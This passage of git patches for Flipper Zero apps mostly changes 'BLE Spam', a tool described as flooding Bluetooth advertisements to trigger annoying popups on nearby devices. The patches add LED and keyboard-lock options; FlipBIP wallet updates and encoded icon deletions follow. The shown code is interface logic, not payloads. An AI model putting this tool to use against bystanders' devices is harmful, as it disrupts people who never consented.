a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -2,10 +2,15 @@ #include "protocols/_protocols.h" -static void random_mac_changed(VariableItem* item) { - Ctx* ctx = variable_item_get_context(item); - ctx->attack->payload.random_mac = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); +static void _config_bool(VariableItem* item) { + bool* value = variable_item_get_context(item); + *value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, *value ? "ON" : "OFF"); +} +static void config_bool(VariableItemList* list, const char* name, bool* value) { + VariableItem* item = variable_item_list_add(list, name, 2, _config_bool, value); + variable_item_set_current_value_index(item, *value); + variable_item_set_current_value_text(item, *value ? "ON" : "OFF"); } static void config_callback(void* _ctx, uint32_t index) { @@ -19,21 +24,20 @@ static void config_callback(void* _ctx, uint32_t index) { switch(index) { case ConfigRandomMac: break; + case ConfigLedIndicator: + break; default: break; } } void scene_config_on_enter(void* _ctx) { Ctx* ctx = _ctx; - VariableItem* item; VariableItemList* list = ctx->variable_item_list; variable_item_list_reset(list); variable_item_list_set_header(list, ctx->attack->title); - item = variable_item_list_add(list, "Random MAC", 2, random_mac_changed, ctx); - variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); - variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); + config_bool(list, "Random MAC", &ctx->attack->payload.random_mac); variable_item_list_set_enter_callback(list, config_callback, ctx); if(!ctx->attack->protocol) { @@ -43,6 +47,8 @@ void scene_config_on_enter(void* _ctx) { ctx->attack->protocol->extra_config(ctx); } + config_bool(list, "LED Indicator", &ctx->led_indicator); + variable_item_list_set_selected_item( list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig)); From aa9287313f73fdc75fe1103534e058ddaf464f3e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 08:27:43 +0100 Subject: [PATCH 36/41] BLE Spam add lock keyboard option (v3.3) --- .../external/ble_spam/application.fam | 2 +- applications/external/ble_spam/ble_spam.c | 72 +++++++++++++++---- applications/external/ble_spam/ble_spam.h | 2 + .../external/ble_spam/scenes/config.c | 11 ++- 4 files changed, 73 insertions(+), 14 deletions(-) diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index b6a3ce5ea..532a55cfb 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="3.2", + fap_version="3.3", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 11eeaabac..5c7e886ec 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -142,6 +142,11 @@ static uint16_t delays[] = {20, 50, 100, 200}; typedef struct { Ctx ctx; + View* main_view; + bool lock_warning; + uint8_t lock_count; + FuriTimer* lock_timer; + bool resume; bool advertising; uint8_t delay; @@ -208,9 +213,9 @@ static void toggle_adv(State* state) { furi_thread_join(state->thread); if(state->resume) furi_hal_bt_start_advertising(); } else { + state->advertising = true; state->resume = furi_hal_bt_is_active(); furi_hal_bt_stop_advertising(); - state->advertising = true; furi_thread_start(state->thread); } } @@ -338,11 +343,15 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#3.2\e#", + " Version \e#3.3\e#", false); break; default: { if(!attack) break; + if(state->ctx.lock_keyboard && !state->advertising) { + // Forgive me Lord for I have sinned by handling state in draw + toggle_adv(state); + } char str[32]; canvas_set_font(canvas, FontBatteryPercent); @@ -378,6 +387,17 @@ static void draw_callback(Canvas* canvas, void* _ctx) { if(state->index < PAGE_MAX) { elements_button_right(canvas, next); } + + if(state->ctx.lock_keyboard) { + canvas_set_font(canvas, FontSecondary); + elements_bold_rounded_frame(canvas, 14, 8, 99, 48); + elements_multiline_text(canvas, 65, 26, "To unlock\npress:"); + canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42); + canvas_draw_dot(canvas, 17, 61); + } } static bool input_callback(InputEvent* input, void* _ctx) { @@ -385,8 +405,22 @@ static bool input_callback(InputEvent* input, void* _ctx) { State* state = *(State**)view_get_model(view); bool consumed = false; - if(input->type == InputTypeShort || input->type == InputTypeLong || - input->type == InputTypeRepeat) { + if(state->ctx.lock_keyboard) { + consumed = true; + with_view_model( + state->main_view, State * *model, { (*model)->lock_warning = true; }, true); + if(state->lock_count == 0) { + furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000)); + } + if(input->type == InputTypeShort && input->key == InputKeyBack) { + state->lock_count++; + } + if(state->lock_count >= 3) { + furi_timer_start(state->lock_timer, 1); + } + } else if( + input->type == InputTypeShort || input->type == InputTypeLong || + input->type == InputTypeRepeat) { consumed = true; bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1; @@ -442,6 +476,18 @@ static bool input_callback(InputEvent* input, void* _ctx) { return consumed; } +static void lock_timer_callback(void* _ctx) { + State* state = _ctx; + if(state->lock_count < 3) { + notification_message_block(state->ctx.notification, &sequence_display_backlight_off); + } else { + state->ctx.lock_keyboard = false; + } + with_view_model( + state->main_view, State * *model, { (*model)->lock_warning = false; }, true); + state->lock_count = 0; +} + static bool back_event_callback(void* _ctx) { Ctx* ctx = _ctx; return scene_manager_handle_back_event(ctx->scene_manager); @@ -455,6 +501,7 @@ int32_t ble_spam(void* p) { furi_thread_set_context(state->thread, state); furi_thread_set_stack_size(state->thread, 4096); state->ctx.led_indicator = true; + state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state); state->ctx.notification = furi_record_open(RECORD_NOTIFICATION); Gui* gui = furi_record_open(RECORD_GUI); @@ -464,14 +511,14 @@ int32_t ble_spam(void* p) { view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback); state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx); - View* view_main = view_alloc(); - view_allocate_model(view_main, ViewModelTypeLockFree, sizeof(State*)); + state->main_view = view_alloc(); + view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*)); with_view_model( - view_main, State * *model, { *model = state; }, false); - view_set_context(view_main, view_main); - view_set_draw_callback(view_main, draw_callback); - view_set_input_callback(view_main, input_callback); - view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, view_main); + state->main_view, State * *model, { *model = state; }, false); + view_set_context(state->main_view, state->main_view); + view_set_draw_callback(state->main_view, draw_callback); + view_set_input_callback(state->main_view, input_callback); + view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view); state->ctx.byte_input = byte_input_alloc(); view_dispatcher_add_view( @@ -508,13 +555,14 @@ int32_t ble_spam(void* p) { variable_item_list_free(state->ctx.variable_item_list); view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain); - view_free(view_main); + view_free(state->main_view); scene_manager_free(state->ctx.scene_manager); view_dispatcher_free(state->ctx.view_dispatcher); furi_record_close(RECORD_GUI); furi_record_close(RECORD_NOTIFICATION); + furi_timer_free(state->lock_timer); furi_thread_free(state->thread); free(state); return 0; diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index b72ca7cc5..6be71147e 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -21,6 +21,7 @@ enum { ConfigRandomMac, ConfigExtraStart = ConfigRandomMac, ConfigLedIndicator, + ConfigLockKeyboard, }; typedef struct Attack Attack; @@ -30,6 +31,7 @@ typedef struct { uint8_t byte_store[3]; VariableItemListEnterCallback fallback_config_enter; bool led_indicator; + bool lock_keyboard; NotificationApp* notification; ViewDispatcher* view_dispatcher; diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index 376d336ac..cfbbbf952 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -16,7 +16,9 @@ static void config_bool(VariableItemList* list, const char* name, bool* value) { static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); - if(ctx->attack->protocol && ctx->attack->protocol->config_count) { + if(!ctx->attack->protocol) { + index--; + } else if(ctx->attack->protocol->config_count) { uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload.cfg); if(index > extra) index -= extra; } @@ -26,6 +28,11 @@ static void config_callback(void* _ctx, uint32_t index) { break; case ConfigLedIndicator: break; + case ConfigLockKeyboard: + ctx->lock_keyboard = true; + scene_manager_previous_scene(ctx->scene_manager); + notification_message_block(ctx->notification, &sequence_display_backlight_off); + break; default: break; } @@ -49,6 +56,8 @@ void scene_config_on_enter(void* _ctx) { config_bool(list, "LED Indicator", &ctx->led_indicator); + variable_item_list_add(list, "Lock Keyboard", 0, NULL, NULL); + variable_item_list_set_selected_item( list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig)); From 9fb790e5c981ecd5891c53ebeaee19ccb36ce05e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 21:47:28 +0100 Subject: [PATCH 37/41] Fix some graphical bugs --nobuild --- applications/external/ble_spam/ble_spam.c | 2 +- applications/external/ble_spam/scenes/config.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 5c7e886ec..b3edf165f 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -388,7 +388,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { elements_button_right(canvas, next); } - if(state->ctx.lock_keyboard) { + if(state->lock_warning) { canvas_set_font(canvas, FontSecondary); elements_bold_rounded_frame(canvas, 14, 8, 99, 48); elements_multiline_text(canvas, 65, 26, "To unlock\npress:"); diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index cfbbbf952..354de6399 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -48,7 +48,7 @@ void scene_config_on_enter(void* _ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); if(!ctx->attack->protocol) { - variable_item_list_add(list, "None shall escape the S I N K", 0, NULL, NULL); + variable_item_list_add(list, "None shall escape the SINK", 0, NULL, NULL); } else if(ctx->attack->protocol->extra_config) { ctx->fallback_config_enter = config_callback; ctx->attack->protocol->extra_config(ctx); From 25045ca67f4c4cae453f8add5e9f8411c00e48ad Mon Sep 17 00:00:00 2001 From: Struan Clark Date: Sat, 21 Oct 2023 20:16:37 -0600 Subject: [PATCH 38/41] feat: 1.14 update --- applications/external/flipbip/application.fam | 3 +- applications/external/flipbip/flipbip.c | 30 ++++++++++++++++++ applications/external/flipbip/flipbip.h | 21 +++++++++++- .../flipbip/icons/ButtonDown_10x5.png | Bin 6223 -> 0 bytes .../external/flipbip/icons/ButtonUp_10x5.png | Bin 6233 -> 0 bytes .../flipbip/scenes/flipbip_scene_menu.c | 23 +++++--------- 6 files changed, 60 insertions(+), 17 deletions(-) delete mode 100644 applications/external/flipbip/icons/ButtonDown_10x5.png delete mode 100644 applications/external/flipbip/icons/ButtonUp_10x5.png diff --git a/applications/external/flipbip/application.fam b/applications/external/flipbip/application.fam index 0831ff432..c7d67e3f9 100644 --- a/applications/external/flipbip/application.fam +++ b/applications/external/flipbip/application.fam @@ -7,6 +7,7 @@ App( "gui", ], stack_size=3 * 1024, + order=10, fap_icon="flipbip_10px.png", fap_private_libs=[ Lib( @@ -16,6 +17,6 @@ App( fap_category="Tools", fap_author="Struan Clark (xtruan)", fap_weburl="https://github.com/xtruan/FlipBIP", - fap_version=(1, 13), + fap_version=(1, 14), fap_description="Crypto wallet for Flipper", ) diff --git a/applications/external/flipbip/flipbip.c b/applications/external/flipbip/flipbip.c index 7a7237639..46904592d 100644 --- a/applications/external/flipbip/flipbip.c +++ b/applications/external/flipbip/flipbip.c @@ -90,6 +90,23 @@ static void text_input_callback(void* context) { } } +static void flipbip_scene_renew_dialog_callback(DialogExResult result, void* context) { + FlipBip* app = context; + if(result == DialogExResultRight) { + app->wallet_create(app); + } else { + view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdMenu); + } +} + +static void flipbip_wallet_create(void* context) { + FlipBip* app = context; + furi_assert(app); + scene_manager_set_scene_state( + app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); + scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1); +} + FlipBip* flipbip_app_alloc() { FlipBip* app = malloc(sizeof(FlipBip)); app->gui = furi_record_open(RECORD_GUI); @@ -148,6 +165,16 @@ FlipBip* flipbip_app_alloc() { view_dispatcher_add_view( app->view_dispatcher, FlipBipViewIdTextInput, text_input_get_view(app->text_input)); + app->wallet_create = flipbip_wallet_create; + app->renew_dialog = dialog_ex_alloc(); + dialog_ex_set_result_callback(app->renew_dialog, flipbip_scene_renew_dialog_callback); + dialog_ex_set_context(app->renew_dialog, app); + dialog_ex_set_left_button_text(app->renew_dialog, "No"); + dialog_ex_set_right_button_text(app->renew_dialog, "Yes"); + dialog_ex_set_header(app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop); + view_dispatcher_add_view( + app->view_dispatcher, FlipBipViewRenewConfirm, dialog_ex_get_view(app->renew_dialog)); + // End Scene Additions return app; @@ -168,6 +195,9 @@ void flipbip_app_free(FlipBip* app) { view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdTextInput); submenu_free(app->submenu); + view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewRenewConfirm); + dialog_ex_free(app->renew_dialog); + view_dispatcher_free(app->view_dispatcher); furi_record_close(RECORD_GUI); diff --git a/applications/external/flipbip/flipbip.h b/applications/external/flipbip/flipbip.h index 9f5994b80..573ef0588 100644 --- a/applications/external/flipbip/flipbip.h +++ b/applications/external/flipbip/flipbip.h @@ -9,12 +9,13 @@ #include #include #include +#include #include #include #include "scenes/flipbip_scene.h" #include "views/flipbip_scene_1.h" -#define FLIPBIP_VERSION "v1.13" +#define FLIPBIP_VERSION "v1.14" #define COIN_BTC 0 #define COIN_DOGE 3 @@ -23,6 +24,8 @@ #define TEXT_BUFFER_SIZE 256 + + typedef struct { Gui* gui; // NotificationApp* notification; @@ -31,6 +34,7 @@ typedef struct { SceneManager* scene_manager; VariableItemList* variable_item_list; TextInput* text_input; + DialogEx* renew_dialog; FlipBipScene1* flipbip_scene_1; char* mnemonic_menu_text; // Settings options @@ -45,6 +49,8 @@ typedef struct { char passphrase_text[TEXT_BUFFER_SIZE]; char import_mnemonic_text[TEXT_BUFFER_SIZE]; char input_text[TEXT_BUFFER_SIZE]; + + void (* wallet_create)(void* context); } FlipBip; typedef enum { @@ -53,6 +59,7 @@ typedef enum { FlipBipViewIdScene1, FlipBipViewIdSettings, FlipBipViewIdTextInput, + FlipBipViewRenewConfirm, } FlipBipViewId; typedef enum { @@ -86,3 +93,15 @@ typedef enum { FlipBipStatusSaveError = 12, FlipBipStatusMnemonicCheckError = 13, } FlipBipStatus; + +typedef enum { + SubmenuIndexScene1BTC = 10, + SubmenuIndexScene1ETH, + SubmenuIndexScene1DOGE, + SubmenuIndexScene1ZEC, + SubmenuIndexScene1New, + SubmenuIndexScene1Renew, + SubmenuIndexScene1Import, + SubmenuIndexSettings, + SubmenuIndexNOP, +} SubmenuIndex; diff --git a/applications/external/flipbip/icons/ButtonDown_10x5.png b/applications/external/flipbip/icons/ButtonDown_10x5.png deleted file mode 100644 index b492b926c45def68d88b03c380527e226740beb6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6223 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, index); } @@ -59,7 +49,7 @@ void flipbip_scene_menu_on_enter(void* context) { submenu_add_item( app->submenu, "Regenerate wallet", - SubmenuIndexScene1New, + SubmenuIndexScene1Renew, flipbip_scene_menu_submenu_callback, app); } else { @@ -130,9 +120,12 @@ bool flipbip_scene_menu_on_event(void* context, SceneManagerEvent event) { } else if(event.event == SubmenuIndexScene1New) { app->overwrite_saved_seed = 1; app->import_from_mnemonic = 0; - scene_manager_set_scene_state( - app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); - scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1); + app->wallet_create(app); + return true; + } else if(event.event == SubmenuIndexScene1Renew) { + app->overwrite_saved_seed = 1; + app->import_from_mnemonic = 0; + view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewRenewConfirm); return true; } else if(event.event == SubmenuIndexScene1Import) { app->import_from_mnemonic = 1; From 305e5d54133556b85e956e46930e18d1e93d0fa7 Mon Sep 17 00:00:00 2001 From: Struan Clark Date: Sat, 21 Oct 2023 20:24:15 -0600 Subject: [PATCH 39/41] chore: update app --- applications/external/flipbip/application.fam | 1 - 1 file changed, 1 deletion(-) diff --git a/applications/external/flipbip/application.fam b/applications/external/flipbip/application.fam index c7d67e3f9..2f36910ab 100644 --- a/applications/external/flipbip/application.fam +++ b/applications/external/flipbip/application.fam @@ -7,7 +7,6 @@ App( "gui", ], stack_size=3 * 1024, - order=10, fap_icon="flipbip_10px.png", fap_private_libs=[ Lib( From 942ef2c5b70cd26908657a6c1e7291d9b558afb0 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 22 Oct 2023 03:39:53 +0100 Subject: [PATCH 40/41] Format --nobuild --- applications/external/flipbip/flipbip.c | 6 +++--- applications/external/flipbip/flipbip.h | 4 +--- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/applications/external/flipbip/flipbip.c b/applications/external/flipbip/flipbip.c index 46904592d..90abfb513 100644 --- 